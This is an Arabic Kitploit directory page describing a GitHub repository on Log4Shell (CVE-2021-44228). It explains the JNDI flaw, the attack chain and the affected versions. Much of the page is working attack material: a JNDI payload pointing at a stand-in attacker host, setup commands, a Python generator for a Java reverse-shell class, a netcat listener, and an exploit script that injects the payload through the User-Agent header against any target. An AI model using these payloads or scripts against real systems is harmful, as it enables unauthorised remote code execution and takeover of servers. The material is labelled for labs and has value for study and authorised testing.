Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-44228 — تحليل تعليمي لـ CVE-2021-44228 (Log4Shell) مع نصوص إثبات المفهوم (PoC)، وتحليل لسلسلة الهجوم، وإرشادات للتخفيف من أجل فهم واختبار الثغرة الحرجة لتنفيذ الأوامر عن بُعد (RCE) في Apache Log4j. | Kitploit
أدوات/GitHubGitHub/kaleth4/cve-2021-44228
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

تحليل تعليمي لـ CVE-2021-44228 (Log4Shell) مع نصوص إثبات المفهوم (PoC)، وتحليل لسلسلة الهجوم، وإرشادات للتخفيف من أجل فهم واختبار الثغرة الحرجة لتنفيذ الأوامر عن بُعد (RCE) في Apache Log4j.

عرض المستودع
23منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🛡️ CVE-2021-44228: تحليل Log4Shell - الثغرة التي أحدثت ثورة في أمن جافا

تأثير حرج (CVSS 10.0) | اكتُشفت في عام 2021، هذا الخلل في Apache Log4j يسمح بتنفيذ التعليمات البرمجية عن بُعد (RCE) ويؤثر على ملايين الأنظمة عالمياً. لا يزال حتى اليوم تذكيراً رئيسياً للأمن السيبراني!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 ما هو Log4Shell؟

CVE-2021-44228، المعروفة باسم Log4Shell، هي ثغرة أمنية حرجة من نوع تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكتبة التسجيل Apache Log4j 2. يسمح هذا الخلل للمهاجمين الخبيثين بتنفيذ كود عشوائي على الخوادم الضعيفة بمجرد إرسال سلسلة نصية مصممة خصيصاً تسجلها التطبيق.

  • لماذا هي خطيرة جداً؟ Log4j موجود في كل مكان في تطبيقات جافا، بما في ذلك الخدمات السحابية وتطبيقات الويب والبرامج المؤسسية. لا يتطلب استغلالها مصادقة ويمكن أن ينتشر بسهولة عبر مدخلات المستخدم مثل رؤوس HTTP أو النماذج أو الدردشات.
  • اكتشفها: Chen Zhaojun من Alibaba Cloud Security (نوفمبر 2021). تم الكشف عنها علناً في 9 ديسمبر 2021، مما أطلق تحذيرات عالمية من CISA و NCSC وغيرها.
  • التأثير العالمي: أثرت على مئات الملايين من الأجهزة. تأثرت شركات مثل Minecraft و Twitter و Cisco. شوهدت هجمات ضخمة: أكثر من 100 هجوم في الدقيقة في ذروتها.

Log4Shell ليست وحدها؛ نتج عنها CVE-2021-45046 (RCE/DoS) و CVE-2021-45105 (DoS) و CVE-2021-4104 (RCE في Log4j 1.2).


💀 ناقل الهجوم وطريقة العمل

جوهر المشكلة هو المعالجة غير الآمنة لـ JNDI (واجهة تسمية ودليل جافا) في Log4j، الذي يحل عمليات البحث عن بُعد دون تنقية.

مثال على حمولة أساسية

${jndi:ldap://atacante.com:1389/Exploit}

كيف يعمل:

  1. يقوم المهاجم بحقن الحمولة في رسالة مسجلة (مثل User-Agent في HTTP).
  2. يكتشف Log4j ${...} ويقوم بتفعيل بحث JNDI.
  3. يتصل الخادم الضعيف بخادم LDAP/RMI/DNS الخاص بالمهاجم.
  4. يتم تنزيل وتنفيذ فئة جافا خبيثة (مثل شل عكسي).

البروتوكولات القابلة للاستغلال: LDAP، RMI، DNS، IIOP، وغيرها. هذا يتيح تهديدات مثل:

  • تعدين العملات الرقمية: سرقة الموارد لتعدين العملات المشفرة.
  • برامج الفدية: تشفير البيانات (مثل Khonsari, Night Sky).
  • DoS/DDoS: إرباك الأنظمة (مثل عبر بوت نت Mirai).
  • الحركة الجانبية: أدوات مثل Cobalt Strike للتصعيد.

سلسلة العدوى (Kill Chain):

  1. الاستطلاع: مسح المنافذ والرؤوس لاكتشاف Log4j.
  2. الحقن: إرسال الحمولة في مدخلات غير منقاة.
  3. الحل: JNDI يتصل بخادم المهاجم.
  4. التنفيذ: يتم تحميل الكود الخبيث وتشغيله (مثل تنزيل برمجيات خبيثة مثل Kinsing).
  5. الاستمرارية: سرقة بيانات الاعتماد (/etc/passwd, /etc/shadow) أو تثبيت أبواب خلفية.

📈 تفاصيل فنية

الخاصيةالتفاصيل
درجة CVSS v3.110.0 (حرج) 🔥 - أقصى درجة خطورة ممكنة.
الإصدارات المتأثرةLog4j 2.0-beta9 إلى 2.14.1 (يتضمن مشتقات حتى 2.16.0 للثغرات الفرعية).
السبب الجذرياستبدال رسائل JNDI دون تحقق؛ تمكين عمليات البحث عن بُعد.
النواقلعن بُعد، غير مصادق؛ يؤثر على Java 8+ في تطبيقات الويب/السحابة.
المنتجات المتأثرةApache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter، وغيرها.
الاستغلالسهل: PoCs عامة على GitHub؛ لا يحتاج صلاحيات.

إحصائيات التأثير:

  • 90% من البيئات السحابية معرضة في البداية.

  • استغلت من قبل مجموعات حكومية (الصين، كوريا الشمالية) ومجرمي إلكترونيين.
  • التصحيح الأولي: Log4j 2.15.0 (ديسمبر 2021)، لكنه غير مكتمل؛ الإصدار الآمن: 2.17.1+.

🚀 إثبات المفهوم (PoC) التعليمي

⚠️ تحذير: هذا المحتوى لأغراض تعليمية واختبارات مصرح بها فقط. لا تستخدم هذا على أنظمة دون إذن صريح. استغلال الثغرات دون تصريح غير قانوني (مثل انتهاك قوانين CFAA في الولايات المتحدة). قم دائماً بإجراء اختبار الاختراق الأخلاقي.

بناءً على المستودعات العامة مثل kozmer/log4j-shell-poc، إليك نظرة عامة مبسطة لـ PoC في بيئات خاضعة للرقابة (مثل Docker/VM محلي).

الخطوات العامة للمحاكاة (بيئة ضعيفة)

  1. استنساخ المستودع: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
  2. بناء Docker: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
  3. تثبيت جافا ضعيفة (مثل JDK 8u202): تنزيل من مرايا موثوقة، فك الضغط وضبط المسار (مثل /usr/bin/jdk1.8.0_202).
  4. تعديل سكريبت PoC (poc.py): ضبط مسارات جافا وعناوين IP. مثال مقتطف مصحح (نسخة مبسطة):
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (كود شل عكسي مبسط)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] تم إنشاء فئة Exploit بنجاح')
    except Exception as e:
        print(Fore.RED + f'[-] خطأ: {e}')

# ... (دوال لخادم LDAP وخادم ويب مشابهة للأصلية)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] PoC تعليمي لـ CVE-2021-44228 - استخدمها فقط في المختبرات!")
    # الوسائط: --userip localhost --webport 8000 --lport 9001
    # تشغيل LDAP، خادم ويب وإنشاء الحمولة

if __name__ == "__main__":
    main()
  1. التشغيل: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
  2. المستمع (Netcat): nc -lvnp 9001 - مراقبة الشل العكسي.
  3. حقن الحمولة: في التطبيق الضعيف (http://localhost:8080)، استخدم ${jndi:ldap://127.0.0.1:1389/a} في حقل تسجيل دخول/بحث.
  4. التحقق: اتصال في Netcat؛ السجلات في الطرفية تظهر حل JNDI.

PoC بسيط في بايثون (مستمع + استغلال): للعروض السريعة، استخدم هذا الثنائي من السكريبتات (شغّل المستمع أولاً).

listener.py:

import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] مستمع على {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] اتصال من {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()

if __name__ == "__main__":
    threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
    input("اضغط Enter للإيقاف...\n")  # يبقيه حياً

exploit.py:

import requests
import argparse

def send_exploit(target, lhost, lport):
    payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
    headers = {'User-Agent': payload}
    try:
        r = requests.get(target, headers=headers, timeout=10)
        print(f"[+] أُرسل إلى {target} | الحالة: {r.status_code}")
    except Exception as e:
        print(f"[!] خطأ: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-l", "--lhost", required=True)
    parser.add_argument("-p", "--lport", type=int, default=1389)
    args = parser.parse_args()
    send_exploit(args.target, args.lhost, args.lport)
تنزيل الأداة